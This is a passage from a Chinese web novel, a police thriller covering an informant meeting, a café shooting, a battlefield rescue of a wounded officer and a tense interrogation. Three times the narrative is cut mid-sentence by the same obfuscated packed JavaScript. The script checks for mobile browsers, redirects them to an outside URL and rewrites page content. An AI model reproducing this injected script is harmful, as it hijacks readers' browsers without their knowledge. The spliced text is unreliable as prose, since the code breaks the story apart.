街对面的餐馆二楼露天阳台上,界至野腿的腿翘上了桌面,他手里握了罐啤酒,目光仿佛无意的在来往人流间穿梭。 百米外的小路口,卫其宏两手放在方向盘上。荷官短信五点钟来的,还在莞荟苑的他立刻被通知,他没开扎眼的红吉普,换了辆低调的黑车,停在一个三米多高的招牌下,随时准备接应。 附近街口,数名便衣两人一组来来回回的闲逛。盛苒也在他们其中,她短发间别了发卡,另一侧头发膨膨的散下,将蓝牙耳机掩得严严实实。 在咖啡馆另一端的桌子上,有对男女正举着咖啡聊天,女孩子一口一个哥哥喊得欢——正是假扮成兄妹的程宥和安月见在附近的桌子——本来通用法则是扮情侣,结果高尚桢点评一句:看起来怎么都不像情侣,还是兄妹吧。 因为一句话,情侣成兄妹。 听了这句话的安月见,出发前还特意跑到洗手间照了下镜子,然后沮丧的承认,果然组长就没错过! 自从进了这个组,自己皮肤黑了,头发长短不一了,妆也开始随便画了,脚上鞋子一律平底,身上牛仔裤全一个色儿…… 总之,再也不是之前分局里那个仙气飘飘,期待总有一日会长发及腰的小美女了,和白月光般的调查官确实有点差距。 怎么办,就当是继父继母的兄妹吧! 旁观了全程的界至野:…… 他搓着手指头,很想评论点啥,一抬头就收到了老大的死亡凝视。 我还是闭嘴吧我。他想。反正啥啥都不能说,憋死我得了。 时针指向五点三十二分,旁边桌来了一家三口,高尚桢的目光迅速在三人身上掠过,又飞快的收回。 胖胖的侍者快步走过来,殷勤的准备为他续杯,高尚桢摆摆手,“不需——” 后半句他没有来得及说出口。 侍者在对面坐下了。 高尚桢看到那张圆圆的脸上笑容可掬:“高警官,我们终于见面了。” 他的眼睛眯起,下巴上的肉微微颤抖,和体检照片上那个瘦削阴郁的男子大相径庭,只有歪向一边的嘴角,这么多年都没有改。 度安源。 ——明知道被追杀,却在人流众多的咖啡伪装成侍者。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652210|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>——又或者……他真的在这里工作? ——如果是后者,那可真是不折不扣的赌徒。 高尚桢迅速下了判断,看着对方那张胖出双下巴的脸,端起了咖啡杯,“度先生这些年过得很滋润啊。”他一语双关。 街角咖啡店的侍者,昔日银脊赌场的荷官,度安源,笑呵呵的拍了拍脸,“还不错。”他打量着高尚桢外套上的月牙LOGO,“我看过照片,但是没想到高警官比我想象中的还要年轻。” 高尚桢拿出手机,按下录音键,“我不想跟你讨论我的年龄。根据修正案第二条,我要正式告知度安源先生,你现在说的任何话都可能被用作法庭证据,你也有权保持沉默和聘请律师。不过……”他顿了顿,“你打电话给我,不是为了沉默和找律师吧。” 也许没有想到高警官这么如此坦率,度安源稍稍愣了下,然后笑了,“高组长真有意思。我现在对自己的选择又确信了几分。” “不过我相信运气,不如我们看看大家的运气怎么样。” 变魔术似的,他手里多了一副扑克牌,“抽牌比大小。抽三次,你赢一次,我就会回答一个问题。如果我要赢的话……”他拉长声音,“赢一把加一倍警力,必须是你的人亲自带队。” 他叹口气,神情忽然变得挺真诚,“别怪我多疑,你要是我,一样会这么谨慎。” 高尚桢不为察觉的皱皱眉。 ……这搞什么鬼,明明辗转反侧一夜,踩着点打电话,现在又要玩牌? 虽然现在逮捕这个人是瓮中捉鳖,但是高组长依旧选择坐在原地。 他想看清这个人要耍什么花样。 ——他不可能无缘无故的要赌牌。 ——想要证实他的确有价值?那他就会故意输给我。 ……真输了也无所谓,大不了派界至野出马保护他。 他瞄了一眼手机,录音仍在继续。 “好。”他说。 度安源把扑克牌摊在掌心,指尖在纸边轻轻游走,纸牌随之发出悦耳的齐响。即使这么多年过去了,银脊荷官切牌洗牌的动作依旧流畅无比。 他从上而下铺开三张扑克牌。第一张递给高尚桢,第二张留给自己,第三张推向桌面中央。 高尚桢翻开第一张:黑桃九,平平无奇的一张牌。 度安源也翻开了自己的牌,他的运气稍微差一点,一张方块七。 他摊摊手,大方的承认了这小小的挫折,掂了掂黑桃九,“黑夏川的规矩,赢家留牌。”看向高尚桢,“第一个问题?” 高尚桢拈起那张黑桃九塞入了口袋,“度安源先生,银脊案中,蛇矛团伙在赌场的内应是不是你?” 面对如此尖锐的问题,胖胖的荷官神情毫无变化,只是耸了耸肩,给了他一个意料之外又在意料之中的答案,“是,也不是。” “说清楚些。” “这可是第二个问题了。高警官。”度安源笑了,将第二张牌推过来。 高尚桢揭开牌,居然是一张红桃A。 红桃A。 度安源的眼睛亮了起来,“第二张就是红桃A。” 高尚桢将牌拍到桌面上,“回答我的问题。” 荷官挠着脸,啧啧摇头,嘴角扯向左边,“你运气真好啊,留着吧,这可不容易撞上。”他看着高尚桢讲这张牌又放入口袋,重新开口。 “至于第二个问题……”他点了点翻开的那张方块七,“跟这张一样,我也就是个小牌。” 荷官说罢,将剩下的第三张牌轻轻推回给高尚桢,嘴角歪的角度更大了,“这是最后一张,高组长。” 卫其宏拿着望远镜远远看着组长和荷官,只觉得奇怪,怎么回事,这两个人还玩起牌来了。 界老也没反应,这是在等什么? 他还在琢磨,兜里的电话响了,上面的联系人显示是付助理。 奇怪,她怎么这个时候打来? 卫其宏本来不打算接,可是对方疯狂打入,犹豫了疫苗,还是接起电话,“我是……”才说两个字,那边付助理已经焦急的喊出了声,“林律师不见了!他不见了!” …… 高尚桢的手指刚碰到第三张牌,度安源的笑声戛然而止,瞳孔骤缩。 他愣了半秒,才意识到不是牌的问题。 他回过头,在风铃的响声里,有人逆光而立。 他风衣的下摆在风里微微鼓起。 “高组长,”林律奚笑着摇了摇手,亲热得像在招呼一个老朋友,“你好。” 42. 血与拥抱 “高组长,你好。” 林律奚。 高尚桢脑海一瞬间空白。 他在这干什么? ……去现场观摩匪徒的死刑啊,还有什么原因。 ……还有谁?当然是审判者。 不好! 咣当—— 他尚来不及回头,耳中已传来椅子翻到,杯盘摔碎的声音。 荷官站在露天咖啡馆的遮阳伞下,所有的云淡风轻顷刻消散,他死死注视林律奚,勉强从喉咙里挤出一丝极其微弱的呻吟。 下一刹那,他的目光和高尚桢相撞,瞳孔陡缩,惊恐都要从中间渗了出来。 不! 高尚桢一个激灵,已见他撒腿朝咖啡店里冲去。 “别动!”他大喝一声,起身想追。 就他刚刚起身之际—— 砰! 一声枪响,他膝盖一热,猝不及防跪倒在地。 砰! 第二声枪响,桌上咖啡壶砰然碎开,裂片夹着咖啡四处飞溅。 砰! 第三颗子弹,打穿了高尚桢头顶的遮阳伞,伞身一震,随之栽倒在地。 啊啊啊啊啊—— 尖叫声瞬间在咖啡店内外轰响,人们终于意识到这并不是烟花,一下子炸了锅,开始四散奔逃。 随即便是椅子碰撞声,桌子翻倒声,各种器皿碎裂声。 哇的一声,旁桌小孩开始放声大哭。 高尚桢大吼一声趴下,不顾剧痛一把揪起桌腿将木桌掀翻,横挡在一家三口面前,然后一个翻身缩到门边,全不管子弹方向,探头向内去找寻荷官。 然而对方身影已消失在室内昏暗的光线里。 该死! 腿…… 程宥。 他回过头,在漫天飞溅的咖啡,碎玻璃和木屑里,看到程宥俯卧在地,死死按住安月见,将一张圆形铁桌踹上高空。 哗啦! 子弹穿透金属桌面,激发出一窜火星。 疯狂尖叫的人声中,火星与木屑迸溅飞窜间,林律奚负手而立,漠然的注视眼前一切,他气定神闲,风衣一角在风中微摆,俨然君王自地狱火海中复生归来。 一发接一发的子弹里,程宥向高尚桢望去,见他藏身门口,膝间染血,迟疑半秒,随即视线掠过静立在子弹中的林律奚,一记鲤鱼打挺腾身而起,抓住他肩膀将他猛然拽入一面侧墙后,同时反手将地上的安月见也拉到掩护之下。 灰尘簌簌落下,整条街道彻底陷入混乱。 程宥手一松,从林律奚肩头撤开,拧身要走,冷不妨忽然胸口一紧,已被林律奚一把抓紧。 林律奚死死攥住他胸口衣服,眼睛在混淆世界中噬然闪光,嗓子哑得几乎听不见,“不许去!” 程宥反手一掌劈上他后颈,随手将软倒的律师推给刚抽出枪的安月见,“看好他。”随即身形一低,沿着墙猫腰而行,快速到达门边,单膝跪下,去看高尚桢的膝盖。 砰——一颗子弹从他头上穿过,径直钻入墙壁,激出一簇粉尘。 程宥低头看向高尚桢的左腿,膝盖处血肉模糊,弹片从侧面擦过,削掉整块皮肉,他刚准备伸手处理,胳膊突然被握住,抬头看到高尚桢正盯着他,眸中烈火燃烧。 “能辨认出枪手方向吗?”他急促的问。 程宥手上一顿,随即点头,“三点钟方向,高度十米到十二米。” 高尚桢慢慢松开手,“去吧。”他咬紧牙关,一个字一个字往外挤,“你要小心。” 程宥再次停住,看着他鲜血汩汩的伤口,依旧迟疑,那只带血的手又推了他一把,“小心!” ======================= 第一声枪响传来时,界至野还没反应过来那是枪声,下一秒啤酒罐就咣的摔在栏杆上。 他嘴里大吼一声,“趴下!”随即踹翻铁椅,几乎扑下了楼梯。 等他冲到对面街,只见人群奔逃,桌椅翻到,而枪响刚刚停息。 高尚桢略带喘息的命令声从频道里传来:“保护现场民众!度安源从咖啡馆后巷离开,界至野去追他!其他人封锁路口,不要放过任何可疑人士!” 随着他一声令下,便衣纷纷冲到路中央拦截车辆,指引民众疏散。 刺耳的尖叫声渐渐减弱。 三点钟方向,十米高。 街对面的金属脚手架上,吊了块巨大的广告牌。 狙击点。 程宥逆着奔逃的人群,来到那片脚手架下。他一手扣住立柱,一手抓横杆,双臂发力,身体拔地而起。 铁管在他手下轻微震动,发出咯吱咯吱的金属摩擦声,他一路攀上,轻盈得像只羚羊,到最后三米时一跃而起,手在最上层横杆略略一撑,随即翻落在广告牌顶端铁板之上。 他开始蹲身探看。 脚下的铁板在轻轻晃动。 广告牌后的各种电线和支架里,数点金属在夕阳下发着光。 是子弹壳。 他居高临下观察四周。 左侧——人群已散得差不多,卫其宏从快速反应车上跳下来,正向咖啡馆狂奔。 右侧——过路车已被便衣们截下。 前方——不少人仍在慌不择路的逃,有人从咖啡馆后方绕出,奔入一个小巷子,那个身影……是界至野? 而同一条巷子的远端,有道身影正离开阴影处,和界至野相对而行。 就在这时,他听到后下方传来一点声音。 狙击手就藏在这里! 在程宥即将转身的一瞬,他又倏然回头。 前方! 他的目光追上了那个从巷子尽头慢慢走出的人。 从这个距离观望,即使以他眼力,也难以判断来人具体容貌,然而,那种熟稔到骨头的走路姿态…… 军人! 牙! 界至野! 界至野一头扎进咖啡馆后巷。 这条巷子并不太长,不过有点拐,也很窄,他手里握紧枪,一路快步小跑,眼看就要左拐,进入更为逼仄幽暗的下一段。 就在这时,有个戴帽子的人从另一端巷口的阴影处向这边走来。 界至野脚步慢慢缓下来,等那个人略近些,看到他人高马大大步流星的样子,和圆滚滚的荷官大相径庭,略略放松,不等靠近已发出警告:“警察办案,看到一个胖子过去没?” 那人似乎有点害怕,脚步渐渐停下,上手插入口袋,肩膀深深缩了进去,“没有。”他含混不清的回答,站在原地,似乎不知是前进还是后退。 该死,界至野恨不得跺脚,这条路没错啊,难道那个度安源还有接应?赶紧的,别让他跑了! 他粗声粗气的喊了一声,“少在外面转,这里危险!”然后加快脚步,从这个人身边迈过,走出两步,脚步忽然慢了下来。 等等,这个人怎么看起来有点眼熟,这个走路的样子,这个身形,好像在哪里见过…… ……对了,监控! 他的心头猛然一紧。 牙! 他霍然回头。 锐利的冷风袭向他喉头。 砰! 卫其宏一把推开门,来到咖啡馆后巷。 组长说老界去追度安源,走的这条路……怎么没人啊。 他脚下不停奋力前行,忽觉得眼前一花,已有人从巷外翻身跃下,他一惊,正要举枪,却见来人一身淡灰西装,眉目清俊,正是程宥。 他松了口气,刚叫调查官,却见他对自己看也不看,径直朝巷内奔去。 他也去抓度安源? 卫其宏松了口气,跟着跑上去,刚绕过拐弯,就见到界至野背对自己站在巷子中央。调查官已跑到他身旁,而更远尽头处,似有人影一闪而过。 他才想喊界老,却见程宥一手扶住界至野的后脑,一手盖上他的喉咙,将他整个人平平放倒在地。 然后,他就看到了从界至野捂着喉咙的指缝里,不断涌出的鲜血。 哒的一声,卫其宏手里的枪掉在了地上,他呆呆看着浑身抽搐的搭档躺在血泊中,脑中全是空白。 血从界至野的喉口疯涌而出,他的气管被割断,每次呼吸都夹杂着气泡声。 接下来的画面再没了声音,像是慢放的录影带,一桢跟着一桢。 卫其宏看到调查官从腰间掏出一柄雪亮的小刀,迅速在界至野喉下划开道切口,手指一动,翻出个笔状的东西,笔一晃,直接插入刚切出的切口。 他看到调查官手臂下,界至野的胸膛在轻轻起伏。他就这样一手压着动脉,一手从腰里抽出包什么洒在血管里,微微飞起的白尘里,他掏出绷带,一圈一圈缠住了不断渗血的颈部,最后一圈缠完,用牙齿咬断绷带,单手打好结。 他看到调查官的双手压住至野颈下,不停检查他的瞳孔,然后抬头向自己喊了什么。 他——在——说——什——么——35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652211|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我上衣右口袋里有部黑色电话,拿出来。” 程宥冷静的下了命令,卫其宏机械的走过去,呆呆的蹲下身,从他右侧口袋掏出电话。 “按2452,按下通话键。” 2-4-5-2。 他说一个数字,卫其宏跟着按一下,直到最后的通话键。 “把电话贴到我左耳上。” 卫其宏手捧电话,愣愣的送到他耳边。 程宥双手用力按压住界至野动脉,冲凑近的听筒开口,“驼铃公园,街角咖啡馆后巷。伤员危急,请求调用青蜂。” 电话那端传来轻轻一滴。 “挂掉。”程宥继续指挥。 卫其宏听话的摁下挂断键。 “现在把枪捡起来,送回枪套,注意不要走火。” 程宥口中的命令一条跟着一条,双眼始终不曾离开界至野迅速失去血色的面孔。 枪套被扣上时,发出嘎达一声。 声音很小很轻,却好像一记响锤,重重敲在卫其宏的心上。 他抖了一下,猛然清醒过来。 然后看到调查官双臂垂直,压在搭档的喉咙上。 他的手上,全是血。 老界的血。 眼泪突然间疯涌而出,卫其宏顾不上擦,只觉得手脚都没处放,“怎,怎么办,调查官……怎么办……老界会,会……” 他不敢说出那个字。 程宥没有回答,他垂下眼睛,似乎在听什么。 然后卫其宏也听见了。 声音开始有些低沉,仿佛风的回响,随后渐渐拔高,音色变得更尖更薄。 卫其宏抬起了眼睛。 模糊的天空上,有只金色猎鹰正振翅而来。 不,不是猎鹰。 那是剪刀…… 也不是剪刀…… 是直升机! 这模样奇怪的直升机以一种前所未有的姿态下降,又低又平稳,卫其宏才一眨眼,它就已经悬停到了头顶。 然后他看到两个带着护目镜的人从舱内轻盈跳下,随后是一部被钢索牵引的担架,垂直抵达地面,随即翻动九十度角,转成水平。 两人向调查官敬个礼,迅速蹲下身,一人拿出很多药粉和喷剂朝着昏迷的界至野喷个不停,然后另一人托住界至野的肩头,和调查官同时轻轻将其上抬。那部担架自动滑入界至野与地面之间,将他整个人托住。 这个人来到后方半跪在担架之上。他伸出双手,接替调查官用力按压伤员动脉。 这时担架开始抬着他和界至野缓缓上升了。另一个喷药的人将装备收入背包,向调查官立正敬礼后,把住绳索,让吊索拉着他重新回到直升机中。 调查官缓缓站起,他安静的目送机腹滑门关合,桨速再起。 直升机仿佛一只暗金色的箭,再次射回天空。 ============== 纪念医院。 刚做完腿部清创,高尚桢不顾护士阻拦,抓着输液架一蹦一蹦的来到二楼。 他看到程宥紧贴墙壁站着,身上全是血,卫其宏蹲地上在哭,而手术室的灯已经灭了。 他的心一下子就沉了下去。 不,不行,老界…… 然后他看到卫其宏擦着眼泪,抬头向他看,“组,组长,”他一边哭一边笑,“救回来了。” 什么…… “救回来了。”卫其宏拧了把鼻涕,“医生说来得及时,就是,就是……要休息。”他又抹了把脸,然后起身程宥身边,一下子抓住他的胳膊,“调查官,谢谢你,谢谢你!你就是我恩人!大恩人!!!” 程宥瞅了瞅他手上还残留的鼻涕,身体动了动,想要抽出自己的手,然后发现自己衣服裤子都是大片大片的血迹,又改变了主意。 ——反正都会干洗。 ——深度干洗。 然后他看向高尚桢,后者一手扶着墙,一手扶着输液架,站在那里摇摇欲坠,血又一次渗透了膝盖上的纱布,一滴滴的坠在地上。 程宥轻轻挣脱开卫其宏,走到高组长面前,“你需要轮椅……” 高尚桢眼睛盯着地面,声音很低,“度安源跑了。”然而他很快摇头,“不要紧。” 程宥还没有说话,身体忽然一紧,已被重重抱住。 然后他感到有温热的液体,轻轻浸湿了领口。 “谢谢,程宥,谢谢你。” “程宥。” 43. 被审判的调查官 度安源被发现在附近的一条臭水沟里。 嘴不再向左斜得厉害。 起码不像笑的时候那么斜。 他死了。 红驼刑事组。 四排办公桌,只坐了三个人,让这个一直没满员,永远空荡荡的办公区显得更空了。 即使这么空,空气依然沉重又粘滞,压得安月见上不来气。 她的眼睛肿了。 可她没心情照镜子,盯着界至野的桌子发呆,不知不觉眼泪又掉下来,这时旁边一张纸巾递了过来,她低着头接过纸巾,“谢谢盛姐。”盛冉摸摸她被压得乱七八糟的头发,叹了口气。 偌大办公区,唯一没有被影响的只有最边上一张桌子,噼噼啪啪的打字声不断传来,也不知道调查官哪来那么多报告要写。 程宥手上还有三份文件等着交,一份给内务部,一份给研发部,一份给紧急处理部。 ——来解释他为什么会临时征调还在试用中的青蜂直升机。 ——即使是朗基努斯之枪,也必须完成3 x 3000字的报告。 程宥看了看表,还有四十七分钟到中午十二点,他思考了一下,决定先完成要交给研发部的那份。这个相对比较简单,可以在午饭之前写完。 在昨天青蜂接送伤员的过程中,他注意这种新型医疗机存在若干问题,包括但不限于:钢索材料不够平滑,影响升降速度;呼吸机型号虽然先进,但是这个牌子最近陷入某种功能缺陷的争议中等等等等…… 他刚敲下第一个字,办公区的门就被刷开了,卫其宏耷拉着脑袋拉开门,将一蹦一跳的高组长让了进来。 盛冉小吃一惊,起身迎上去,“你怎么来了?缝合完了?”她看了看组长那裹着重重纱布的膝盖,“怎么不用轮椅?” 高尚桢摇了下头,短短答了句,“明天缝。”身体靠上最近的办公桌,飞快切换话题,“度安源什么情况?” 安月见慌慌的站起来,想起眼泪还没擦干,赶紧蹭了两把,“组长,度,度安源心脏中了一刀,其他具体情况陈法医正在做尸检。” 高尚桢皱眉,“你去催一下,都一整夜加一上午了,这尸检还没做完?” 安月见:…… 安月见突然就不想哭了,她的头开始疼。 盛冉摇摇头,“陈法医那边已经在加班加点了,你放心,下班之前肯定送到。” 高尚桢哼一声,正要继续说,一旁的卫其宏递来一个拐杖,“组长……” 高尚桢不接,看着他冷笑,“需要拐杖的不是我的腿,是你的脑子!” 卫其宏都蔫巴一上午了,这时再也忍不住,苦着脸申起冤来,“组长,真不是我说的,你怎么不相信呢?” 高尚桢脸更黑了,“不是你说给那个付小姐,林律奚能知道我们见面地方?度安源能被吓跑?”他越说火越大,指着卫其宏鼻子斥责:“这么多天努力全白费,就因为你跟林律奚那个助理走太近!等这个案子完事你给我滚下面呆两年,治不好你那个见了谁都春心荡漾的毛病别回来!” 卫其宏:…… 卫其宏想我真没说啊,我知道条例啊,再说我跟那个付小姐啥事没有啊,组长你怎么能不相信我这个老实人呢! 高尚桢见他畏畏缩缩的样子,更冒火了,还想继续骂,就见他眼睛一亮,拎着拐杖跑到旁边,“调查官!”然后就看到程宥从两排办公桌间走出。 高尚桢就骂不下去了。 卫其宏将拐杖递给程宥,“调查官,要不您劝劝组长?他就不要拐杖……”见高尚桢要吃人的目光投来,不敢再告黑状,把拐杖往程宥手里一塞,自己朝他身后一缩。 程宥这辈子也没用过拐杖,没想到这根木制拐杖看起来不起眼,拎手里还挺沉的,也难怪高尚桢不乐意用。 他转向身后的卫其宏,“这根拐是橡木材料,重量比较大,对身体负担重,不是所有人都合适;如果换成碳纤维的超轻量……”他话还没说完,高组长已经一蹦一蹦的跳过来,将拐杖从他手里一把夺走,摇了摇,浑不在意的说:“就这个了,挺轻的。” 卫其宏:…… 盛冉:…… 安月见:…… 程宥看了看他,点点头,“好的。” 高尚桢又一次站到了白板前,不过这次他脸上既无之前的镇定自若,也没有了意气风发,取而代之的,是生铁般的冷意。 他只说了一句话,“下午两点,务必把林律奚带到审讯室。” 他从口袋里取出警徽,啪的一声丢上了桌子,“管他什么背景通天,我都担着。” 下午一点五十五分,杜蒙律所一行人准时出现在警局门口。 除了刘律师和付助理这两张熟面孔外,陪着林律奚一起来的,还有位貌不惊人的中年男子。高尚桢本来还以为又是哪个伴驾的律师或者助理,直到他看到程宥向那个男子投去第二眼。 他停下脚步,凑近程宥耳边,低声问:“你认识?” 程宥摇摇头,“不。”他罕见的皱了皱眉,“不过他很强。” ……原来是界至野提过的那位新任保镖。 ……能让程宥说很强…… 高尚桢转过头,仔细打量那个中年人,然后发现向审讯室走的林律奚停下脚步,正冷冷的盯着他们。 他正要开口,却见林律奚转过身,向身边的刘律师说了句什么,后者脸上明显露出诧异的神情,似乎想阻挡,但是林律奚已大踏步走近高尚桢,垂眸看看他的腿,脸上露出些许抱歉之色,“希望你早点恢复健康,高警官。” 高尚桢冷冷回望他,“如果你肯老实回答问题,林律奚,我明天就能恢复健康。” 林律奚耸耸肩,“没问题,我会回答一切。”说着转向旁边的程宥,“你来审,一对一,没有别人。” =============== 高尚桢杵着拐杖站在单向镜外,几名组员在旁边,紧张的看向审讯室里。 白色的管灯仍在头上嗡嗡嗡,依旧是旧木桌,桌子那边的疑犯,仍然是穿着定制西装的林律奚。 桌子这头,换了人。 程宥提着两瓶矿泉水,一瓶放到林律奚面前,自己拎着另外一瓶,坐了下来。 他向四周扫了一圈。 录音设备:正常。 摄像设备:正常。 单向镜:正常。 可以开始了。 嗯,警察的正常审讯程序。 “你的姓名?” “林律奚。” “年龄?” “生日是12月24日,所以今天是27岁,我猜?” “职业?” 林律奚笑了起来,他敲敲桌子,看向桌对面的程宥,“你真要按这种标准流程走?”他转向单行镜的方向,笑得玩味,“我是没问题。不过高警官会觉得你浪费时间吧。” 审讯室外的高尚桢一言不发,卫其宏气得直磨牙,“这小子。” 程宥无动于衷,依旧低头看文件。 “职业?” “哎,律师,律师,企业法的律师,不做刑事案。” “昨天,即11月24日下午5点58分,你为什么出现在驼铃公园外的街角咖啡馆?” 林律奚用肘支在扶手上,杵着下巴慢悠悠的回答:“去咖啡馆当然是喝咖啡,难道是去跳舞吗?”他嘲笑的看了看摆在面前的矿泉水,“把这个换成咖啡也许我会配合一点,当然,你们的速溶咖啡就算了。” “妈的!”卫其宏骂出来声。 高尚桢将拐杖夹在腋下,静静的看着这一切。 程宥从纸张里抬起头。 这是讽刺和挑衅。他迅速做出判断,说明他对这场审讯有所准备,这种情况下,最有效的手段是将其单独监禁,切断昼夜戒律……不,这不符合审判条例。 我应该忽略他的反击,继续审问,我又不是高尚桢。 不过……高尚桢在的话,他会怎么做? “你不喜欢咖啡。”程宥推开文件,拧开矿泉水的瓶盖,“你喝茶。” 林律奚敲着下巴的手指停了下来,他稍稍眯起眼睛,声音忽低:“你注意到了?” “之前付助理为你沏茶。”程宥简单解释一句,“请解释你出现在驼铃公园外的街角咖啡馆的原因。” 林律奚静默几秒,忽然很淡的笑了一下,“把水给我。”他朝近在咫尺的矿泉水瓶点了点下巴。 程宥放下水,看了看他,“所以你在……” “把水给我。” ——他试图操纵审讯者。 ——但是如果不这样做,这个话题会一直在这里循环。 程宥站起身,绕到桌边,拿起水瓶,递给他。 林律奚没有接,他抬头看向站在身前的程宥,笑容换成了回忆。 良久,他轻轻叹了口气。 “为什么我会出现在公园?这个问题要从哪里解释才好呢?被困在旧铜矿的那六天吗?” 高尚桢看到程宥的脊背绷直了,他的呼吸也跟着一瞬间屏住。 被困在旧铜矿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652212|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的六天…… 林律奚从程宥手里抽过矿泉水,上下晃了晃,“很好,要是那时候有这样一瓶水……”他抬眼看着一动不动的程宥,“我们是不是会好受一些?”他笑起来,“我们,这里是指,我们和蛇矛。” 一墙之隔的高尚桢神色不变,心却跟着他的话一点点提起。 他早就奇怪,在其他罪犯团伙嘴里,有军队背景的蛇矛成员打劫各种码头矿区甚至小型军火库,可他们“不碰个人”,但是为什么银脊案中,他们的作风完全变了?为什么要残酷的折磨人质? 被困在旧铜矿的六天…… “要是那时候有这样一瓶水……” …… …… ——气旋比预报早到达九个小时,小队原地待命。 ——朗基努斯之枪惹出的乱子,你们必须自己收拾!马上出动! ——我拒绝。目前能见度为零,极端湍流天气,直升机无法起飞。 ——我不管什么极端天气!指定物品必须夺回!强飞也得飞!这是命令! ——我拒绝。结冰风险严重,不能强行起飞。 ——那就用雪橇,履带车!我他妈管你们用什么,给我把东西夺回来!人也给我救回来! ——雪崩风险激增,通讯信号将会完全中断,生还几率低于百分之十,危险不可接受。我拒绝。 ——你们是军人,军人!怕什么风险!给我出动! ——程指挥官! 电话被挂断。 ——全队原地待命。 八年多前的通话回响在耳边,一字不差。 面前的林律奚正半仰起头看他,笑着问:“为什么朗基努斯之枪会在第六天才来呢?” “第一天,洞口被堵住了。” “第二天,食物没了,水也没了,好在有雪。” “第三天,李延试图逃跑,被打断了腿;齐晴被拖了出去。 第四天,轮到我和索骁。 第五天,言行诺被剁掉三根手指,云老板死了。 第六天,言行诺死了。你们来了。” 林律奚站起来,和他的审讯者面对面,相距不过半个手臂的距离。 “你做出了选择。”他歪了歪头,说。 “而现在,你选择的结果站在这里。” 他微微一笑。再度耸耸肩,“这个问题的答案怎么样,满意吗?程指挥官?” “或者……你还是不记得?” 白炽灯嗡鸣得更加大声了,摄像头的红点一闪接着一闪。 程宥没有看他,也没有看任何东西,他整个人就那样站着,仿佛时间在他身上失去了意义。 高尚桢的指甲攥进了掌心。 根本不是程宥在审他,而是他在审判程宥! 林律奚嘴角的笑始终不曾变化,他注视着程宥,目光一寸寸刮过他的面颊。 水瓶掉在了地上。 他伸出手,缓缓的摘下了他的眼镜,露出镜片后那双深灰色的眼眸。 他凝看了片刻,始终不曾等到回视,突然间整个人扑上去,向他的唇狠狠咬了下去。 血瞬间自贴合的唇齿间流下。 程宥没有动,既没有推开他,也没有退后,只是沉默的站在原地。 审讯室外的刑警们霎时懵了。卫其听到盛苒的声音响起,“马上停止审讯!”他懵懵的应声是,就要去开门,忽然胸口一紧,已被人拦住。 “继续审!不能停!” 他机械的转过头,看到组长铁青的脸。 盛苒声音陡然严厉,“高尚桢!现在必须……” “继续审!”拐杖早就掉在了地上,高尚桢牙齿咬得咯咯作响,鲜血从绷直的膝盖里再度渗出。 他谁也不看,死死瞪视着审讯室中正在发生的一幕,“不许停!” 良久良久,林律奚终于向后退了一步,和始终一言不发的审讯者拉开距离。 他喘息着,眼里烧着野火,嘴角微微颤动。 双唇沾满了血——那是程宥的血。 他抬起手,食指蹭过唇上,看到上面的鲜红色,笑了,“所以,程指挥官,你没有什么想对我说吗?” 白炽灯还是不停的嗡嗡嗡,让人心烦。 室内室外,所有的目光都落在了那道凝结的身影上。 良久以后,那条身影终于动了,他走回长桌后,坐下,重新拿起文件和笔,平静的开口。 “11月24日下午5点58分,你出现在驼铃公园外的街角咖啡馆的理由?” 44. 海豚 ——你出现在街角咖啡馆的理由? 冰冷的审讯室里,这个问题不断回响着。 林律奚搓了搓被染红的食指,感受其中温热的粘腻,然后转过身归于原位,将手中的眼镜放上桌面,轻轻推去对面。 程宥低头做着记录,没有任何反应。 隔着一米宽的木桌,林律奚凝视着垂头写字的程宥,看到他搭下来挡住灰眸的睫毛,挺直的鼻梁,还有被自己咬伤,深深豁开的,一滴滴溢血的嘴唇。 他又搓了搓手指。 审讯室外,高尚桢手指早已攥得毫无血色。 程宥记录完毕,合上笔帽,抬起了眼,看向林律奚,“之前你说过会回答一切问题,请配合调查,谢谢。” 被咬出的伤口极深,他说话时扯动嘴唇,本来几乎止住的血又再度冒了出来,一滴滴坠上桌面,西装上也溅上数点。他本能的想去抿唇,然而马上停住,从口袋里掏出纸巾,在伤口上用力摁了两摁,折好纸巾,放到手边。 白炽灯下,血在纸巾上一点点的洇开,形成囫囵不清的图案。 林律奚从纸巾上收回目光,无声的笑了。 “我收到了信息,希望我去观摩行刑的过程。”他扭回头,目光穿过单向镜,与高尚桢冷冷相撞,“我说过,我不支持废死。” 程宥开始埋头记录,“发信息的人是谁?” 林律奚将一条腿搭在另一条上,转过了眼看他,闲闲开口:“你猜呢?” “请直接回答问题,林律师。” 